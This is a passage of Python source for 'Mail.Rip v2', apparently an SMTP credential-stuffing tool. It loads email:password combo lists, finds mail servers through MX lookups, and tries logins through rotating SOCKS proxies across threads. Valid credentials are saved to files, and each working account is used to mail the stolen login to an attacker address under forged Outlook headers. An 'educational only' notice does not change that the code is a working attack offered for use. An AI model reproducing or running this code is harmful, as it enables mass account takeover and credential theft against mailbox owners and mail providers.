smtppass, smtpemail, proxyip, proxyport): 515 | ''' 516 | Tries to send an e-mail using a found SMTP login. 517 | This is the integrated "e-mail delivery test". 518 | 519 | :param str smtphost: SMTP address 520 | :param int smtpport: SMTP connection port 521 | :param str smtpuser: SMTP username 522 | :param str smtppass: SMTP password 523 | :param str smtpemail: e-mail address being used 524 | :param str proxyip: SOCKS-proxy IP 525 | :param int proxyport: SOCKS-proxy port 526 | :return: True, False 527 | ''' 528 | global emailssent 529 | emailssl = ssl.create_default_context() 530 | # if SOCKS support is active, set up the proxy: 531 | if use_socks == True: 532 | if type_socks == 'SOCKS4': 533 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS4, str(proxyip), int(proxyport)) 534 | elif type_socks == 'SOCKS5': 535 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, str(proxyip), int(proxyport)) 536 | socks.socket.setdefaulttimeout(float(default_timeout)) 537 | socks.wrapmodule(smtplib) 538 | else: 539 | socket.setdefaulttimeout(float(default_timeout)) 540 | try: 541 | # load e-mail template and fill placeholders: 542 | letter_template, template_status = emailtemplate() 543 | # on errors, use the following template: 544 | if template_status == False: 545 | letter_text = str('Hello mate!\n' 546 | + 'If you read this, the e-mail delivery test was successful.\n' 547 | + '\n' 548 | + f'e-mail: {str(smtpemail)}\n' 549 | + f'smtp host: {str(smtphost)}\n' 550 | + f'smtp port: {str(smtpport)}\n' 551 | + f'smtp user: {str(smtpuser)}\n' 552 | + f'smtp password: {str(smtppass)}\n' 553 | + '\n' 554 | + 'Please, consider a donation to support my work or just buy me a coffee.\n' 555 | + 'Every donation is appreciated though coffee even more.\n' 556 | + 'The (donation) wallets are:\n' 557 | + '\n' 558 | + 'BTC: 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5\n' 559 | + 'LTC: LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7\n' 560 | + '\n' 561 | + 'Thank you in advance and do not forget to visit my GitHub page!\n' 562 | + 'Stay healthy and best regards,\n' 563 | + 'DrPython3') 564 | else: 565 | # with no errors, fill placeholders: 566 | letter_text = letter_template.substitute(smtp_email = str(smtpemail), 567 | smtp_host = str(smtphost), 568 | smtp_port = str(smtpport), 569 | smtp_user = str(smtpuser), 570 | smtp_pass = str(smtppass)) 571 | # generate a random ID for the e-mail subject: 572 | randomid = str(uuid.uuid4().hex)[0:6].upper() 573 | # generate the e-mail message: 574 | letter = EmailMessage() 575 | letter.add_header('Subject', str(f'test id {str(randomid)} result delivery')) 576 | letter.add_header('From', str(f'Mail.Rip v2 <{str(smtpemail)}>')) 577 | letter.add_header('To', str(f'Mail.Rip User <{str(attacker_mail)}>')) 578 | letter.add_header('Reply-To', str(smtpemail)) 579 | letter.add_header('MIME-Version', '1.0') 580 | letter.add_header('Content-Type', 'text/plain;charset=UTF-8') 581 | letter.add_header('X-Priority', '1') 582 | letter.add_header('X-MSmail-Priority', 'High') 583 | letter.add_header('X-Mailer', 'Microsoft Office Outlook, Build 17.551210') 584 | letter.add_header('X-MimeOLE', 'Produced By Microsoft MimeOLE V6.00.3790.1830') 585 | letter.set_content(letter_text) 586 | except: 587 | return False 588 | try: 589 | # connect to SMTP, log in and send the e-mail message: 590 | if int(smtpport) == 465: 591 | victim = smtplib.SMTP_SSL(str(smtphost), int(smtpport), timeout=float(60.0), context=emailssl) 592 | else: 593 | victim = smtplib.SMTP(str(smtphost), int(smtpport), timeout=float(60.0)) 594 | try: 595 | victim.ehlo() 596 | victim.starttls(context=emailssl) 597 | victim.ehlo() 598 | except: 599 | pass 600 | victim.login(str(smtpuser), str(smtppass)) 601 | victim.send_message(letter, from_addr=smtpemail, to_addrs=attacker_mail) 602 | victim.quit() 603 | # successful tests return true, unsuccessful ones false: 604 | emailssent += 1 605 | return True 606 | except: 607 | return False 608 | 609 | 610 | def comboloader(): 611 | ''' 612 | Reads combos from a given source and prepares a clean combolist for the attack. 613 | Returns True if at least one combo has been loaded successfully. 614 | 615 | :return: True, False 616 | ''' 617 | global combos 618 | clean() 619 | print(colorama.Fore.YELLOW + '\n\n### MAIL.RIP V2 ### | COMBOLOADER:\n' + '-'*36 + '\n\n') 620 | # get filename of combosource to use: 621 | input_file = str(input('Enter file with combos, e.g. combos.txt:\n' + colorama.Fore.YELLOW)) 622 | if input_file == '': 623 | return False 624 | else: 625 | print(colorama.Fore.WHITE + f'\nReading and preparing combos from file: {str(input_file)}') 626 | # read, prepare and load prepared combos into global list: 627 | try: 628 | # -- STEP 1 -- 629 | # create temporary file for combos cleaned in this step: 630 | with open('targets_temp.txt', 'w') as temp_file: 631 | for line in open(str(input_file), 'r'): 632 | # replace common separators with ":" 633 | line = line.replace(';', ':').replace('|', ':').replace(',', ':') 634 | # verify e-mail address is valid using regex: 635 | verify_email = str(line.split(':')[0]) 636 | result_verify = emailverify(str(verify_email)) 637 | if result_verify == False: 638 | continue 639 | else: 640 | pass 641 | # check whether e-mail domain is on user's blacklist: 642 | if default_blacklist == True: 643 | blacklist_domain = str(verify_email.split('@')[1]) 644 | blacklist_result = blacklistcheck(blacklist_domain) 645 | if blacklist_result == True: 646 | print(colorama.Fore.RED + f'Blacklist Check: {str(blacklist_domain)} [FAILED], ' 647 | + f'skipping target {str(verify_email)}') 648 | # save combos with blacklisted domains in file: 649 | writer_result = writer(str(line), str('__blacklisted__')) 650 | continue 651 | else: 652 | pass 653 | else: 654 | pass 655 | # save clean combos in temporary file: 656 | temp_file.write(line) 657 | # -- STEP 2 -- 658 | # create object for caching unique combos temporarily: 659 | combos_cleaned = set() 660 | # create file for cleaned unique combos: 661 | with open('targets.txt', 'w') as output_file: 662 | for line in open(str('targets_temp.txt'), 'r'): 663 | # check whether a combo is unique by searching for it in object "combos_cleaned": 664 | if line not in combos_cleaned: 665 | # if combo is unique, save it in output file and add it to object "combos_cleaned": 666 | output_file.write(line) 667 | combos_cleaned.add(line) 668 | else: 669 | continue 670 | try: 671 | del combos_cleaned 672 | except: 673 | pass 674 | # -- STEP 3 -- 675 | # load cleaned unique combos into cache for an attack: 676 | combos = open('targets.txt', 'r').read().splitlines() 677 | # delete old combofiles and temporary files not needed anymore: 678 | try: 679 | if os.name =='nt': 680 | os.system(f'del {str(input_file)}') 681 | os.system('del targets_temp.txt') 682 | else: 683 | os.system(f'rm {str(input_file)}') 684 | os.system('rm targets_temp.txt') 685 | except: 686 | pass 687 | # get amount of loaded combos: 688 | result_loader = int(len(combos)) 689 | # return True if at leased one combo has been loaded: 690 | if result_loader > 0: 691 | return True 692 | else: 693 | print(colorama.Fore.RED + '\nNo combos loaded, sorry.') 694 | return False 695 | except: 696 | return False 697 | 698 | 699 | def attacker(attackid, target): 700 | ''' 701 | The attack performed on every single target. This function is called by the threader. 702 | It is full verbose and will use the writer function to save all results. 703 | 704 | :param str attackid: thread id for verbose messages 705 | :param str target: combo to check 706 | :return: True, False 707 | ''' 708 | global hits 709 | # set attacker ID received from threader: 710 | attacker_id = str(f'ATTACKER#{str(attackid)}') 711 | attackerssl = ssl.create_default_context() 712 | try: 713 | # reset the variables: 714 | target_email = str('') 715 | target_host = str('') 716 | target_port = int(0) 717 | target_user = str('') 718 | target_pass = str('') 719 | proxy_host = str('none') 720 | proxy_port = int(0) 721 | next_combo = str('') 722 | # set proxy if activated: 723 | if use_socks == True: 724 | get_proxy = str(getrandomproxy()) 725 | proxy_host = str(get_proxy.split(':')[0]) 726 | proxy_port = int(get_proxy.split(':')[1]) 727 | if type_socks == 'SOCKS4': 728 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS4, proxy_host, proxy_port) 729 | else: 730 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, proxy_host, proxy_port) 731 | socks.socket.setdefaulttimeout(float(default_timeout)) 732 | socks.wrapmodule(smtplib) 733 | # if proxy-support is deactivated, set default timeout for connections: 734 | else: 735 | socket.setdefaulttimeout(float(default_timeout)) 736 | # set combo from threader as next target: 737 | next_combo = str(target) 738 | # save that combo to checked.txt: 739 | result_writer = writer(str(next_combo), str('__checked__')) 740 | with locker: 741 | print(colorama.Fore.YELLOW + f'[{str(attacker_id)}]: Checking combo {str(next_combo)}') 742 | # start checking: 743 | target_email = str(next_combo.split(':')[0]) 744 | target_pass = str(next_combo.split(':')[1]) 745 | target_user = str(target_email) 746 | # try to get target-host from hosterlist for e-mail domain: 747 | target_domain = str(target_email.split('@')[1]).lower() 748 | try: 749 | target_host = str(smtpdomains[target_domain]) 750 | except: 751 | # if no host is found, try to read from MX records of target-domain: 752 | lookup_host = str(mxlookup(attacker_id, target_domain)) 753 | # if reading the MX records fails, abort attack on current target: 754 | if lookup_host == 'no_host_found': 755 | with locker: 756 | print(colorama.Fore.RED + f'[{str(attacker_id)}]: No target-host for combo {str(next_combo)}') 757 | result_writer = writer(str(next_combo), str('__invalid__')) 758 | return False 759 | # else set target_host = result from MX records: 760 | else: 761 | target_host = str(lookup_host) 762 | # try to get targetport from hosterlist: 763 | try: 764 | target_port = int(smtpports[str(target_host)]) 765 | except: 766 | # on execptions, search with unknownport function: 767 | find_port = int(unknownport(str(attacker_id), str(target_host))) 768 | # if no port is found, cancel the attack for the given combo: 769 | if find_port == 0: 770 | with locker: 771 | print(colorama.Fore.RED + f'[{str(attacker_id)}]: No target-port for combo {str(next_combo)}') 772 | result_writer = writer(str(next_combo), str('__invalid__')) 773 | return False 774 | # else set target_port: 775 | else: 776 | target_port = int(find_port) 777 | # attack the target: 778 | # step#1 - establish connection: 779 | try: 780 | with locker: 781 | print(colorama.Fore.WHITE 782 | + f'[{str(attacker_id)}]: Connecting to {str(target_host)} for checking {str(next_combo)}') 783 | # try SSL-connection for port 465: 784 | if int(target_port) == 465: 785 | attack = smtplib.SMTP_SSL(target_host, target_port, timeout=default_timeout, context=attackerssl) 786 | with locker: 787 | print(colorama.Fore.GREEN + f'[{str(attacker_id)}]: SSL-connection established to {str(target_host)}') 788 | else: 789 | # try standard connection for all the other ports: 790 | attack = smtplib.SMTP(target_host, target_port, timeout=default_timeout) 791 | with locker: 792 | print(colorama.Fore.GREEN + f'[{str(attacker_id)}]: Connection established to {str(target_host)}') 793 | try: 794 | # on standard connection try to establish TLS: 795 | attack.ehlo() 796 | attack.starttls(context=attackerssl) 797 | attack.ehlo() 798 | with locker: 799 | print(colorama.Fore.GREEN + f'[{str(attacker_id)}]: TLS established for {str(target_host)}') 800 | except: 801 | pass 802 | except: 803 | # cancel attack for the given combo if connection fails: 804 | with locker: 805 | print(colorama.Fore.RED + f'[{str(attacker_id)}]: Connection to {str(target_host)} failed') 806 | result_writer = writer(str(next_combo), str('__invalid__')) 807 | return False 808 | # step#2.1 - try login with e-mail: 809 | try: 810 | with locker: 811 | print(colorama.Fore.WHITE + f'[{str(attacker_id)}]: Testing login for combo {str(next_combo)}') 812 | attack.login(str(target_user), str(target_pass)) 813 | # step#2.2 - try login with user from e-mail in case step #2.1 failed: 814 | except: 815 | try: 816 | # set target_user = e-mail pseudo: 817 | target_user = str(target_email.split('@')[0]) 818 | attack.login(str(target_user), str(target_pass)) 819 | except: 820 | try: 821 | attack.quit() 822 | except: 823 | pass 824 | # if login fails again, save combo as invalid and start with next: 825 | with locker: 826 | print(colorama.Fore.RED + f'[{str(attacker_id)}]: No hit for combo {str(next_combo)}') 827 | result_writer = writer(str(next_combo), str('__invalid__')) 828 | return False 829 | # step#3 - save results: 830 | try: 831 | # try to close the connection: 832 | attack.quit() 833 | except: 834 | pass 835 | with locker: 836 | print(colorama.Fore.GREEN 837 | + '\n' + '#'*80 + '\n' + f'[{str(attacker_id)}]: HIT FOR {str(next_combo)}\n' + '#'*80 + '\n') 838 | # save hit to txt-file named like the SMTP-host: 839 | result_writer = writer( 840 | str(f'EMAIL: {str(target_email)}, ' 841 | + f'HOST: {str(target_host)}, ' 842 | + f'PORT: {str(target_port)}, ' 843 | + f'USER: {str(target_user)}, ' 844 | + f'PASS: {str(target_pass)}'), str(f'{str(target_host)}')) 845 | # save hit to txt-file "__valid__.txt": 846 | result_writer = writer( 847 | str(f'EMAIL: {str(target_email)}, ' 848 | + f'HOST: {str(target_host)}, ' 849 | + f'PORT: {str(target_port)}, ' 850 | + f'USER: {str(target_user)}, ' 851 | + f'PASS: {str(target_pass)}'), str('__valid__')) 852 | hits += 1 853 | # step#4 - for hits, call deliverytest function: 854 | if attacker_mail == 'invalid@mail.sad': 855 | pass 856 | else: 857 | result_delivery = deliverytest( 858 | str(target_host), 859 | int(target_port), 860 | str(target_user), 861 | str(target_pass), 862 | str(target_email), 863 | str(proxy_host), 864 | int(proxy_port)) 865 | # for successful deliverytest, save hit to sentemail.txt: 866 | if result_delivery == True: 867 | with locker: 868 | print(colorama.Fore.GREEN + f'[{str(attacker_id)}]: E-mail sent with {str(target_email)}') 869 | result_writer = writer( 870 | str(f'MAIL: {str(target_email)}, ' 871 | + f'HOST: {str(target_host)}, ' 872 | + f'PORT: {str(target_port)}, ' 873 | + f'USER: {str(target_user)}, ' 874 | + f'PASS: {str(target_pass)}'), str('__emailtest__')) 875 | else: 876 | with locker: 877 | print(colorama.Fore.RED + f'[{str(attacker_id)}]: E-mail test failed for {str(target_email)}') 878 | return True 879 | except: 880 | with locker: 881 | print(colorama.Fore.RED + f'[{str(attacker_id)}]: An error occurred while checking {str(next_combo)}') 882 | result_writer = writer(str(next_combo), str('__invalid__')) 883 | return False 884 | 885 | 886 | def attack_threader(): 887 | ''' 888 | Function for threading: gets next target from queue and starts attack function on. 889 | Also updates stats for window title. 890 | 891 | :return: None 892 | ''' 893 | global targetsleft 894 | global fails 895 | attacker_id = str(count_threads) 896 | while True: 897 | next_target = str(attack_queue.get()) 898 | result = attacker(attacker_id, next_target) 899 | if result == False: 900 | fails += 1 901 | else: 902 | pass 903 | targetsleft -= 1 904 | attack_queue.task_done() 905 | return None 906 | 907 | 908 | def startattack(): 909 | ''' 910 | Starts the attack and shows its stats in the window title. 911 | 912 | :return: None 913 | ''' 914 | global count_threads 915 | global targetsleft 916 | global hits 917 | global fails 918 | clean() 919 | print(colorama.Fore.YELLOW + '\n\n### MAIL.RIP V2 ### | STARTING ATTACK:\n' + '-'*40 + '\n') 920 | countdown(5) 921 | clean() 922 | # set amount of targets left to check: 923 | targetsleft = int(len(combos)) 924 | # start threads: 925 | for _ in range(default_threads): 926 | count_threads += 1 927 | attack_thread = threading.Thread(target=attack_threader) 928 | attack_thread.daemon = True 929 | attack_thread.start() 930 | # fill queue: 931 | for target in combos: 932 | attack_queue.put(target) 933 | # try to show stats in window title: 934 | while targetsleft > 0: 935 | try: 936 | sleep(0.5) 937 | wintitle = f'TO CHECK: {str(targetsleft)} # HITS: {str(hits)} # EMAILS: {str(emailssent)} # FAILS: {str(fails)}' 938 | sys.stdout.write('\33]0;' + str(wintitle) + '\a') 939 | sys.stdout.flush() 940 | except: 941 | pass 942 | print(colorama.Fore.YELLOW + '\n' + '#'*44 + '\n# FINISHING ATTACK! BE PATIENT, PLEASE ... #\n' + '#'*44 + '\n') 943 | attack_queue.join() 944 | sleep(3.0) 945 | clean() 946 | input(colorama.Fore.YELLOW + '\n\nINFO\n' + '-'*4 + '\n' 947 | + f'Attack has been finished or stopped. Your results: HITS = {str(hits)}, BAD = {str(fails)}.\n' 948 | + 'Press [ENTER] to return to the main menu.') 949 | # reset stats: 950 | targetsleft = int(0) 951 | hits = int(0) 952 | fails = int(0) 953 | return None 954 | 955 | 956 | # [*** LOGOS && ETC ***] 957 | # ###################### 958 | legal_logo = ''' 959 | ############################## 960 | # I M P O R T A N T: # 961 | # L E G A L N O T I C E S # 962 | ############################## 963 | 964 | You are allowed to use the following code for educational purposes 965 | ONLY! Mail.Rip v2 shall not be used for any kind of illegal activity 966 | nor law enforcement at any time. This restriction applies to all 967 | cases of usage, no matter whether the code as a whole or only parts 968 | of it are being used. 969 | 970 | ''' 971 | 972 | main_logo = ''' 973 | 974 | ################## DrPython3 @ GitHub.Com ################## 975 | 976 | ███▄ ▄███▓ ▄▄▄ ██▓ ██▓ ██▀███ ██▓ ██▓███ 977 | ▓██▒▀█▀ ██▒▒████▄ ▓██▒▓██▒ ▓██ ▒ ██▒▓██▒▓██░ ██▒ 978 | ▓██ ▓██░▒██ ▀█▄ ▒██▒▒██░ ▓██ ░▄█ ▒▒██▒▓██░ ██▓▒ 979 | ▒██ ▒██ ░██▄▄▄▄██ ░██░▒██░ ▒██▀▀█▄ ░██░▒██▄█▓▒ ▒ 980 | ▒██▒ ░██▒ ▓█ ▓██▒░██░░██████▒ ██▓ ░██▓ ▒██▒░██░▒██▒ ░ ░ 981 | ░ ▒░ ░ ░ ▒▒ ▓▒█░░▓ ░ ▒░▓ ░ ▒▓▒ ░ ▒▓ ░▒▓░░▓ ▒▓▒░ ░ ░ 982 | ░ ░ ░ ▒ ▒▒ ░ ▒ ░░ ░ ▒ ░ ░▒ ░▒ ░ ▒░ ▒ ░░▒ ░ 983 | ░ ░ ░ ▒ ▒ ░ ░ ░ ░ ░░ ░ ▒ ░░░ 984 | ░ ░ ░ ░ ░ ░ ░ ░ ░ 985 | ░ 986 | (donations): btc = 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5 987 | ltc = LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7 988 | ____________________________________________________________ 989 | 990 | -+==> [ MAIN MENU ] <==+- 991 | 992 | [1] SET DEFAULT VALUES [2] DE-/ACTIVATE PROXY-SUPPORT 993 | [3] LOAD COMBOS [4] START ATTACK 994 | 995 | [0] EXIT MAIL.RIP V2 996 | 997 | #####################################################[v2|R9] 998 | 999 | ''' 1000 | 1001 | # often used phrases: 1002 | p1 = '\nPress [ENTER] to return to main menu' 1003 | 1004 | 1005 | # [*** MAIN ***] 1006 | # ############## 1007 | def mainmenu(): 1008 | ''' 1009 | The main menu. 1010 | 1011 | :return: None 1012 | ''' 1013 | # show logo on a clean screen: 1014 | clean() 1015 | print(colorama.Fore.RED + main_logo) 1016 | option = input('Choose an option, please: ' + colorama.Fore.YELLOW) 1017 | # option 0 exits Mail.Rip v2: 1018 | if option == '0': 1019 | clean() 1020 | sys.exit(colorama.Fore.YELLOW + '\n\nClosing Mail.Rip v2 ...\nSee you again!') 1021 | # option 1 for setting up default values: 1022 | elif option == '1': 1023 | status_msg = setdefaults() 1024 | if status_msg == True: 1025 | input(colorama.Fore.GREEN + '\n\nSUCCESS\n' + '-'*7 + '\nDefault values changed.' + f'{p1}') 1026 | else: 1027 | input(colorama.Fore.RED + '\n\nERROR\n' + '-'*5 + '\nDefault values not changed.' + f'{p1}') 1028 | # option 2 for setting up proxy-support: 1029 | elif option == '2': 1030 | status_msg = proxysupport() 1031 | if status_msg == True: 1032 | input(colorama.Fore.GREEN + '\n\nSUCCESS\n' + '-'*7 1033 | + f'\nProxy-support has been activated using {str(type_socks)} proxys.' + f'{p1}') 1034 | else: 1035 | input(colorama.Fore.RED + '\n\nWARNING\n' + '-'*7 + '\nProxy-support is still deactivated.' + f'{p1}') 1036 | # option 3 for loading combos for an attack: 1037 | elif option == '3': 1038 | status_msg = comboloader() 1039 | if status_msg == True: 1040 | input(colorama.Fore.GREEN + '\n\nSUCCESS\n' + '-'*7 1041 | + f'\nCombos successfully loaded. Amount: {str(len(combos))}' + f'{p1}') 1042 | else: 1043 | input(colorama.Fore.RED + '\n\nERROR\n' + '-'*5 + '\nLoading combos failed.' + f'{p1}') 1044 | # option 4 for starting an attack: 1045 | elif option == '4': 1046 | startattack() 1047 | # any other input restarts the mainmenu function: 1048 | else: 1049 | clean() 1050 | input(colorama.Fore.YELLOW + 'INFO\n' + '-'*4 + '\nNo option entered.' + f'{p1}') 1051 | return None 1052 | 1053 | 1054 | # on startup, show "legal notices" logo first and wait for user confirmation: 1055 | clean() 1056 | print(colorama.Fore.RED + legal_logo) 1057 | legal_confirm = input('CONFIRM WITH [ENTER] OR TYPE "NO": ' + colorama.Fore.YELLOW) 1058 | # if user says no, exit Mail.Rip v2: 1059 | if legal_confirm == 'NO' or legal_confirm == 'no' or legal_confirm == 'n': 1060 | clean() 1061 | sys.exit(colorama.Fore.RED 1062 | + '\nLegal Notices not confirmed.\nMail.Rip v2 cannot be run without confirming the ' 1063 | + '<< Legal Notices >>.\n\n') 1064 | else: 1065 | pass 1066 | 1067 | # after confirmation start main menu: 1068 | while True: 1069 | mainmenu() 1070 | 1071 | # DrPython3 (C) 2021 @ GitHub.com 1072 | --------------------------------------------------------------------------------